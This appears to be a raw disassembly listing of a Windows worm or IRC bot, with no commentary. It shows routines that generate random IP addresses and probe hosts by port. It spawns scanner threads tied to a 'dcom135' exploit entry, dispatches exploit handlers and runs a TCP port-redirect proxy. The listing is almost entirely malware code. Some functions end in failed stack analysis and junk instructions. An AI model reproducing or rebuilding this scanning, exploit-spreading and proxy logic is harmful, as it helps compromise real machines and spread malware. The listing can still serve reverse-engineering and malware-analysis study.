		dd 830000DCh, 4CA320C4h, 8D00439Bh, 5350FC45h, 43994068h
		dd 6C226800h, 53530040h, 108C15FFh, 0D8B0042h, 439B4Ch
		dd 234C969h, 0C33B0000h, 0F51C8189h, 12740043h,	9BE01D39h
		dd 25750043h, 15FF326Ah, 421060h, 15FFEEEBh, 421088h, 0FC858D50h
		dd 68FFFFFDh, 427874h, 0E11FE850h, 0C4830000h, 0FC858D0Ch
		dd 50FFFFFDh, 3D94E8h, 9F9CBF00h, 4C70043h, 10424h, 89535700h
		dd 43A1A81Dh, 8C2AE800h, 68DFFFFCh, 103h, 43A0A0BEh, 0C1B86800h
		dd 0E8560042h, 0F934h, 118858Bh, 0C4830000h, 989D380Ch
		dd 0A3000000h, 439F98h,	140858Bh, 7F6A0000h, 43A230A3h
		dd 8D1D7500h, 68501845h, 43A1B0h, 0F903E8h, 0CC48300h
		dd 0A23405C7h, 10043h, 1AEB0000h, 98858Dh, 68500000h, 43A1B0h
		dd 0F8E3E8h, 0CC48300h,	0A2341D89h, 57560043h, 0A1AC35FFh
		dd 858D0043h, 0FFFFFDFCh, 42782068h, 6EE85000h,	530000E0h
		dd 0FDFC858Dh, 56AFFFFh, 0DB0BE850h, 0C4830000h, 0A1A4A320h
		dd 458D0043h, 685350FCh, 439F98h, 4053ED68h, 0FF535300h
		dd 42108C15h, 0A40D8B00h, 5F0043A1h, 234C969h, 0C33B0000h
		dd 0F51C8189h, 16740043h, 0A2381D39h, 850F0043h, 12Dh
		dd 15FF326Ah, 421060h, 15FFEAEBh, 421088h, 77DC6850h, 3E90042h
		db 1, 2	dup(0)
; ---------------------------------------------------------------------------


loc_4074CB:				; CODE XREF: seg000:0040727Fj
		cmp	ds:dword_427310[eax], ebx
		jz	loc_4075EA
		push	3
		call	sub_4151C1
		test	eax, eax
		pop	ecx
		jnz	loc_4075EA
		mov	esi, offset dword_439E74
		push	104h
		push	esi
		push	ebx
		call	near ptr 3D0000h
		cld
		push	5Ch
		push	esi
		call	sub_417020
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_407509
		mov	[eax], bl


loc_407509:				; CODE XREF: seg000:00407505j
		mov	eax, ds:dword_42C154
		mov	ds:dword_439F8C, ebx
		mov	ds:dword_439F78, eax
		lea	eax, [ebp+18h]
		push	eax
		push	offset dword_439BEC
		call	sub_4154CD
		mov	eax, [ebp+118h]
		pop	ecx
		pop	ecx
		mov	ds:dword_439BE8, eax
		mov	ecx, [ebp+140h]
		push	esi
		push	ds:dword_439F78
		mov	ds:dword_439F84, ecx
		mov	ecx, [ebp+144h]
		push	eax
		mov	ds:dword_439F88, ecx
		call	sub_40A155
		pop	ecx
		push	eax
		lea	eax, [ebp-204h]
		push	offset dword_42778C
		push	eax
		call	sub_4154CD
		push	ebx
		lea	eax, [ebp-204h]
		push	3
		push	eax
		call	sub_414F79
		add	esp, 20h
		mov	ds:dword_439F80, eax
		lea	eax, [ebp-4]
		push	eax
		push	ebx
		push	offset dword_439BE8
		push	offset sub_405B07
		push	ebx
		push	ebx
		call	ds:dword_42108C	; CreateThread
		mov	ecx, ds:dword_439F80
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43F51C[ecx], eax
		jz	short loc_4075C2


loc_4075B0:				; CODE XREF: seg000:004075C0j
		cmp	ds:dword_439F94, ebx
		jnz	short loc_4075DD
		push	32h
		call	ds:dword_421060	; Sleep
		jmp	short loc_4075B0
; ---------------------------------------------------------------------------


loc_4075C2:				; CODE XREF: seg000:004075AEj
		call	ds:dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_427744
		lea	eax, [ebp-204h]
		push	eax
		call	sub_4154CD
		add	esp, 0Ch


loc_4075DD:				; CODE XREF: seg000:004075B6j
		lea	eax, [ebp-204h]
		push	eax
		call	sub_40B151
		pop	ecx


loc_4075EA:				; CODE XREF: seg000:0040726Ej
					; seg000:0040728Fj ...
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4075EE	proc near		; CODE XREF: sub_40776F:loc_4077E0p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		push	4
		lea	esi, ds:438FC8h[eax*8]
		lea	eax, [ebp+arg_0]
		push	esi
		push	eax
		call	sub_4155B0
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	ds:dword_43A2AC	; ntohl
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	ds:dword_43A374	; ntohl
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		push	esi
		call	sub_4155B0
		mov	eax, [esi]
		add	esp, 0Ch
		pop	esi
		pop	ebp
		retn
sub_4075EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407636	proc near		; CODE XREF: sub_40776F+69p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		or	esi, 0FFFFFFFFh
		push	[ebp+arg_0]
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_10], esi
		call	sub_415CD0
		cmp	eax, 0Fh
		pop	ecx
		jbe	short loc_40765E
		xor	eax, eax
		jmp	short loc_4076CF
; ---------------------------------------------------------------------------


loc_40765E:				; CODE XREF: sub_407636+22j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	[ebp+arg_0]
		call	sub_416A80
		add	esp, 18h
		cmp	[ebp+var_C], esi
		jnz	short loc_40768B
		call	sub_415529
		mov	[ebp+var_C], eax


loc_40768B:				; CODE XREF: sub_407636+4Bj
		cmp	[ebp+var_8], esi
		jnz	short loc_407698
		call	sub_415529
		mov	[ebp+var_8], eax


loc_407698:				; CODE XREF: sub_407636+58j
		cmp	[ebp+var_4], esi
		jnz	short loc_4076A5
		call	sub_415529
		mov	[ebp+var_4], eax


loc_4076A5:				; CODE XREF: sub_407636+65j
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jnz	short loc_4076B1
		call	sub_415529


loc_4076B1:				; CODE XREF: sub_407636+74j
		shl	eax, 8
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		shl	eax, 8
		add	eax, [ebp+var_8]
		shl	eax, 8
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	ds:dword_438FC8[ecx*8],	eax


loc_4076CF:				; CODE XREF: sub_407636+26j
		pop	esi
		leave
		retn
sub_407636	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4076D2	proc near		; CODE XREF: sub_40776F+B8p
					; sub_412B7E+30p

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	edi
		xor	ebx, ebx
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	ds:dword_43A3F8	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4076FB
		xor	eax, eax
		jmp	short loc_40776A
; ---------------------------------------------------------------------------


loc_4076FB:				; CODE XREF: sub_4076D2+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	ds:dword_43A378	; ntohs
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	ds:dword_43A414	; ioctlsocket
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	esi
		call	ds:dword_43A320	; connect
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	ds:dword_43A360	; select
		push	esi
		mov	edi, eax
		call	ds:dword_43A410	; closesocket
		xor	eax, eax
		cmp	edi, ebx
		setnle	al


loc_40776A:				; CODE XREF: sub_4076D2+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4076D2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40776F	proc near		; DATA XREF: sub_407983+13Bo

var_2A8		= dword	ptr -2A8h
var_28C		= byte ptr -28Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_1F8		= byte ptr -1F8h
var_178		= byte ptr -178h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_150		= byte ptr -150h
var_140		= byte ptr -140h
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_150]
		rep movsd
		mov	esi, [ebp+var_2C]
		mov	dword ptr [eax+148h], 1
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], esi
		mov	[ebp+arg_0], eax
		call	ds:dword_42104C	; GetTickCount
		push	eax
		call	sub_41551F
		mov	ebx, esi
		pop	ecx
		imul	ebx, 234h


loc_4077B6:				; CODE XREF: sub_40776F+200j
		mov	eax, ds:dword_43F50C[ebx]
		cmp	ds:dword_438FCC[eax*8],	0
		jz	loc_407974
		cmp	[ebp+var_10], 0
		push	eax
		jz	short loc_4077E0
		lea	eax, [ebp+var_150]
		push	eax
		call	sub_407636
		pop	ecx
		jmp	short loc_4077E5
; ---------------------------------------------------------------------------


loc_4077E0:				; CODE XREF: sub_40776F+60j
		call	sub_4075EE


loc_4077E5:				; CODE XREF: sub_40776F+6Fj
		pop	ecx
		mov	edi, eax
		push	[ebp+arg_0]
		push	ds:dword_43F50C[ebx]
		push	[ebp+var_3C]
		push	edi
		call	ds:dword_43A404	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_427958
		push	eax
		call	sub_4154CD
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, dword_43F308[ebx]
		push	eax
		call	sub_4154CD
		push	[ebp+var_38]
		push	[ebp+var_3C]
		push	edi
		call	sub_4076D2
		add	esp, 2Ch
		cmp	eax, 1
		jnz	loc_407964
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_4078B9
		push	offset dword_439928
		call	ds:dword_4210B4	; RtlEnterCriticalSection
		push	[ebp+var_3C]
		push	edi
		call	ds:dword_43A404	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_42791C
		push	eax
		call	sub_4154CD
		add	esp, 10h
		cmp	[ebp+var_14], 0
		jnz	short loc_40789B
		cmp	[ebp+var_C0], 0
		push	1
		push	[ebp+var_18]
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_C0]
		jnz	short loc_40788F
		lea	eax, [ebp+var_140]


loc_40788F:				; CODE XREF: sub_40776F+118j
		push	eax
		push	[ebp+var_40]
		call	sub_412D32
		add	esp, 14h


loc_40789B:				; CODE XREF: sub_40776F+FDj
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_40B151
		mov	[esp+2A8h+var_2A8], offset dword_439928
		call	ds:dword_4210B0	; RtlLeaveCriticalSection
		jmp	loc_407964
; ---------------------------------------------------------------------------


loc_4078B9:				; CODE XREF: sub_40776F+CDj
		push	edi
		call	ds:dword_43A404	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_4154CD
		mov	eax, [ebp+var_20]
		imul	eax, 3Ch
		add	eax, offset aDcom135_0 ; "dcom135"
		push	eax
		lea	eax, [ebp+var_178]
		push	eax
		call	sub_4154CD
		add	esp, 10h
		cmp	[ebp+var_C0], 0
		lea	eax, [ebp+var_C0]
		jnz	short loc_4078FD
		lea	eax, [ebp+var_140]


loc_4078FD:				; CODE XREF: sub_40776F+186j
		push	eax
		lea	eax, [ebp+var_1F8]
		push	eax
		call	sub_4154CD
		mov	eax, [ebp+var_40]
		pop	ecx
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_18]
		mov	[ebp+var_15C], eax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_158], eax
		mov	eax, [ebp+var_3C]
		mov	[ebp+var_16C], eax
		mov	eax, [ebp+var_20]
		pop	ecx
		mov	[ebp+var_164], eax
		imul	eax, 3Ch
		sub	esp, 0BCh
		mov	[ebp+var_168], esi
		lea	esi, [ebp+var_20C]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	ds:off_427304[eax]
		mov	esi, [ebp+var_4]
		add	esp, 0BCh


loc_407964:				; CODE XREF: sub_40776F+C3j
					; sub_40776F+145j
		push	7D0h
		call	ds:dword_421060	; Sleep
		jmp	loc_4077B6
; ---------------------------------------------------------------------------


loc_407974:				; CODE XREF: sub_40776F+55j
		push	esi
		call	sub_415295
		pop	ecx
		push	0
		call	near ptr 3D0000h
		icebp
sub_40776F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407983	proc near		; DATA XREF: seg000:0041000Bo
					; seg000:00411B9Fo

var_1DC		= dword	ptr -1DCh
var_1CC		= byte ptr -1CCh
var_14C		= byte ptr -14Ch
var_13C		= byte ptr -13Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1CCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		push	1
		pop	ebx
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [ebp+var_14C]
		push	eax
		call	ds:dword_43A3B8	; inet_addr
		mov	ecx, [ebp+var_2C]
		sub	esp, 14Ch
		lea	esi, [ebp+var_14C]
		push	53h
		mov	ds:dword_438FC8[ecx*8],	eax
		pop	ecx
		mov	edi, esp
		rep movsd
		call	loc_40725A
		push	8
		call	sub_4151C1
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_407A51
		mov	esi, offset dword_439928
		push	esi
		call	ds:dword_4210BC	; RtlDeleteCriticalSection
		push	80000400h
		push	esi
		call	ds:dword_4210B8	; InitializeCriticalSectionAndSpinCount
		test	eax, eax
		jnz	short loc_407A51
		lea	eax, [ebp+var_1CC]
		push	offset unk_427A9C
		push	eax
		call	sub_4154CD
		xor	ebx, ebx
		pop	ecx
		cmp	[ebp+var_10], ebx
		pop	ecx
		jnz	short loc_407A3B
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_412D32
		add	esp, 14h


loc_407A3B:				; CODE XREF: sub_407983+99j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_40B151
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_407A51:				; CODE XREF: sub_407983+63j
					; sub_407983+7Fj
		mov	eax, [ebp+var_2C]
		mov	esi, ds:dword_421060
		mov	edi, ebx
		mov	ds:dword_438FCC[eax*8],	ebx
		xor	ebx, ebx
		cmp	[ebp+var_20], 1
		jb	loc_407B1E


loc_407A6F:				; CODE XREF: sub_407983+195j
		push	edi
		lea	eax, [ebp+var_14C]
		push	[ebp+var_2C]
		mov	[ebp+var_24], edi
		push	[ebp+var_38]
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_427A50
		push	eax
		call	sub_4154CD
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	8
		push	eax
		call	sub_414F79
		mov	[ebp+var_28], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_2C]
		add	esp, 24h
		mov	ds:dword_43F50C[eax], ecx
		lea	eax, [ebp+var_14C]
		push	ebx
		push	ebx
		push	eax
		push	offset sub_40776F
		push	ebx
		push	ebx
		call	ds:dword_42108C	; CreateThread
		mov	ecx, [ebp+var_28]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_43F51C[ecx], eax
		jz	short loc_407AE9


loc_407ADE:				; CODE XREF: sub_407983+164j
		cmp	[ebp+var_4], ebx
		jnz	short loc_407B10
		push	1Eh
		call	esi	; Sleep
		jmp	short loc_407ADE
; ---------------------------------------------------------------------------


loc_407AE9:				; CODE XREF: sub_407983+159j
		call	ds:dword_421088	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_427A00
		push	eax
		call	sub_4154CD
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_40B151
		add	esp, 10h


loc_407B10:				; CODE XREF: sub_407983+15Ej
		push	1Eh
		call	esi	; Sleep
		inc	edi
		cmp	edi, [ebp+var_20]
		jbe	loc_407A6F


loc_407B1E:				; CODE XREF: sub_407983+E6j
		cmp	[ebp+var_30], ebx
		jz	loc_407BC8
		mov	eax, [ebp+var_30]
		imul	eax, 0EA60h
		push	eax
		call	esi	; Sleep


loc_407B33:				; CODE XREF: sub_407983+250j
		push	[ebp+var_30]
		mov	eax, [ebp+var_2C]
		push	[ebp+var_38]
		mov	eax, ds:dword_438FC8[eax*8]
		push	eax
		call	ds:dword_43A404	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_4279A8
		push	eax
		call	sub_4154CD
		add	esp, 14h
		cmp	[ebp+var_10], ebx
		jnz	short loc_407B81
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_412D32
		add	esp, 14h


loc_407B81:				; CODE XREF: sub_407983+1DFj
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_40B151
		mov	eax, [ebp+var_2C]
		mov	[esp+1DCh+var_1DC], 0BB8h
		mov	ds:dword_438FCC[eax*8],	ebx
		call	esi	; Sleep
		push	8
		call	sub_4151C1
		cmp	eax, 1
		pop	ecx
		jnz	short loc_407BB8
		push	offset dword_439928
		call	ds:dword_4210BC	; RtlDeleteCriticalSection


loc_407BB8:				; CODE XREF: sub_407983+228j
		push	[ebp+var_2C]
		call	sub_415295
		pop	ecx
		push	ebx
		call	near ptr 3D0000h
		iret
; ---------------------------------------------------------------------------


loc_407BC8:				; CODE XREF: sub_407983+19Ej
					; sub_407983+25Dj
		mov	eax, [ebp+var_2C]
		cmp	ds:dword_438FCC[eax*8],	1
		jnz	loc_407B33
		push	7D0h
		call	esi	; Sleep
		jmp	short loc_407BC8
sub_407983	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407BE2	proc near		; DATA XREF: seg000:004103E2o

var_34C		= byte ptr -34Ch
var_14C		= byte ptr -14Ch
var_148		= dword	ptr -148h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= byte ptr -14h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 34Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		rep movsd
		push	1
		xor	esi, esi
		pop	edi
		push	10h
		mov	[eax+120h], edi
		pop	ebx
		lea	eax, [ebp+var_10]
		push	ebx
		push	esi
		push	eax
		call	sub_415550
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_40]
		call	ds:dword_43A378	; ntohs
		push	6
		push	edi
		push	2
		mov	[ebp+var_E], ax
		mov	[ebp+var_C], esi
		mov	[ebp+arg_0], ebx
		call	ds:dword_43A3F8	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_407D46
		mov	eax, [ebp+var_3C]
		push	edi
		imul	eax, 234h
		push	401h
		push	esi
		push	ebx
		mov	ds:dword_43F514[eax], ebx
		call	ds:dword_43A294	; WSAAsyncSelect
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	ds:dword_43A3A4	; bind
		test	eax, eax
		jnz	loc_407D46
		push	0Ah
		push	ebx
		call	ds:dword_43A3A0	; listen
		test	eax, eax
		jnz	loc_407D46


loc_407C8C:				; CODE XREF: sub_407BE2+BEj
					; sub_407BE2+13Fj
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	ebx
		call	ds:dword_43A40C	; accept
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_407C8C
		movzx	eax, [ebp+var_22]
		push	[ebp+var_3C]
		mov	[ebp+var_148], edi
		mov	[ebp+var_2C], esi
		push	eax
		push	[ebp+var_20]
		call	ds:dword_43A404	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_34C]
		push	offset unk_427B38
		push	eax
		call	sub_4154CD
		push	edi
		lea	eax, [ebp+var_34C]
		push	10h
		push	eax
		call	sub_414F79
		mov	[ebp+var_38], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_3C]
		add	esp, 20h
		mov	ds:dword_43F50C[eax], ecx
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_14C]
		push	esi
		push	eax
		push	offset sub_407D6A
		push	esi
		push	esi
		call	ds:dword_42108C	; CreateThread
		mov	ecx, [ebp+var_38]
		imul	ecx, 234h
		cmp	eax, esi
		mov	ds:dword_43F51C[ecx], eax
		jz	short loc_407D31


loc_407D1E:				; CODE XREF: sub_407BE2+14Dj
		cmp	[ebp+var_2C], esi
		jnz	loc_407C8C
		push	32h
		call	ds:dword_421060	; Sleep
		jmp	short loc_407D1E
; ---------------------------------------------------------------------------


loc_407D31:				; CODE XREF: sub_407BE2+13Aj
		call	ds:dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_427AE8
		call	sub_40B1C5
		pop	ecx
		pop	ecx
		jmp	short loc_407D49
; ---------------------------------------------------------------------------


loc_407D46:				; CODE XREF: sub_407BE2+61j
					; sub_407BE2+93j ...
		mov	edi, [ebp+arg_0]


loc_407D49:				; CODE XREF: sub_407BE2+162j
		push	edi
		call	ds:dword_43A410	; closesocket
		push	ebx
		call	ds:dword_43A410	; closesocket
		push	[ebp+var_3C]
		call	sub_415295
		pop	ecx
		push	esi
		call	near ptr 3D0000h
		imul	ebx, [edi+5Eh],	5Bh
sub_407BE2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407D6A	proc near		; DATA XREF: sub_407BE2+11Co

var_1344	= byte ptr -1344h
var_344		= byte ptr -344h
var_144		= byte ptr -144h
var_13C		= byte ptr -13Ch
var_3C		= dword	ptr -3Ch
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1344h
		call	sub_415D50
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_144]
		rep movsd
		mov	ebx, [ebp+var_30]
		push	1
		pop	ecx
		mov	[ebp+var_4], ebx
		push	6
		push	ecx
		push	2
		mov	[eax+120h], ecx
		call	ds:dword_43A3F8	; socket
		mov	esi, eax
		xor	edi, edi
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+arg_0], esi
		jz	loc_407F20
		push	10h
		lea	eax, [ebp+var_18]
		push	edi
		push	eax
		call	sub_415550
		add	esp, 0Ch
		mov	[ebp+var_18], 2
		push	[ebp+var_3C]
		call	ds:dword_43A378	; ntohs
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_13C]
		push	eax
		call	ds:dword_43A3B8	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_8], eax
		jnz	short loc_407DFA
		lea	eax, [ebp+var_13C]
		push	eax
		call	ds:dword_43A3FC	; gethostbyname
		jmp	short loc_407E08
; ---------------------------------------------------------------------------


loc_407DFA:				; CODE XREF: sub_407D6A+7Fj
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	ds:dword_43A330	; gethostbyaddr


loc_407E08:				; CODE XREF: sub_407D6A+8Ej
		cmp	eax, edi
		jz	loc_407F20
		mov	eax, [eax+0Ch]
		push	10h
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		call	ds:dword_43A320	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_407F20
		movzx	eax, [ebp+var_16]
		push	[ebp+var_34]
		mov	[ebp+var_20], edi
		push	eax
		push	[ebp+var_14]
		call	ds:dword_43A404	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_344]
		push	offset unk_427BE4
		push	eax
		call	sub_4154CD
		push	esi
		lea	eax, [ebp+var_344]
		push	10h
		push	eax
		call	sub_414F79
		imul	ebx, 234h
		mov	[ebp+var_30], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_34]
		lea	esi, dword_43F514[ebx]
		mov	ds:dword_43F50C[eax], ecx
		add	esp, 20h
		mov	ecx, [esi]
		mov	ds:dword_43F518[eax], ecx
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_144]
		push	edi
		push	eax
		push	(offset	loc_407F4D+4)
		push	edi
		push	edi
		call	ds:dword_42108C	; CreateThread
		mov	ecx, [ebp+var_30]
		imul	ecx, 234h
		cmp	eax, edi
		mov	ds:dword_43F51C[ecx], eax
		jz	short loc_407F0D


loc_407EBA:				; CODE XREF: sub_407D6A+15Dj
		cmp	[ebp+var_20], edi
		jnz	short loc_407EC9
		push	32h
		call	ds:dword_421060	; Sleep
		jmp	short loc_407EBA
; ---------------------------------------------------------------------------


loc_407EC9:				; CODE XREF: sub_407D6A+153j
		mov	ebx, 1000h


loc_407ECE:				; CODE XREF: sub_407D6A+19Fj
		push	ebx
		lea	eax, [ebp+var_1344]
		push	edi
		push	eax
		call	sub_415550
		add	esp, 0Ch
		lea	eax, [ebp+var_1344]
		push	edi
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	ds:dword_43A390	; recv
		cmp	eax, edi
		jle	short loc_407F20
		push	edi
		push	eax
		lea	eax, [ebp+var_1344]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_43A3C8	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_407ECE
		jmp	short loc_407F20
; ---------------------------------------------------------------------------


loc_407F0D:				; CODE XREF: sub_407D6A+14Ej
		call	ds:dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_427B90
		call	sub_40B1C5
		pop	ecx
		pop	ecx


loc_407F20:				; CODE XREF: sub_407D6A+44j
					; sub_407D6A+A0j ...
		mov	eax, [ebp+var_4]
		imul	eax, 234h
		push	ds:dword_43F514[eax]
		call	ds:dword_43A410	; closesocket
		push	[ebp+arg_0]
		call	ds:dword_43A410	; closesocket
		push	[ebp+var_4]
		call	sub_415295
		pop	ecx
		push	edi
		call	near ptr 3D0000h


loc_407F4D:				; DATA XREF: sub_407D6A+130o
		mov	esp, 555B5E5Fh
sub_407D6A	endp ; sp-analysis failed

		mov	ebp, esp
		mov	eax, 1128h
		call	sub_415D50
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-128h]
		rep movsd
		mov	esi, [ebp-14h]
		mov	dword ptr [eax+124h], 1
		imul	esi, 234h
		mov	edi, 1000h


loc_407F88:				; CODE XREF: seg000:00407FCDj
		push	edi
		lea	eax, [ebp-1128h]
		push	0
		push	eax
		call	sub_415550
		add	esp, 0Ch
		lea	eax, [ebp-1128h]
		push	0
		push	edi
		push	eax
		push	ds:dword_43F518[esi]
		call	ds:dword_43A390	; recv
		test	eax, eax
		jle	short loc_407FCF
		push	0
		push	eax
		lea	eax, [ebp-1128h]
		push	eax
		push	ds:dword_43F514[esi]
		call	ds:dword_43A3C8	; send
		cmp	eax, 0FFFFFFFFh
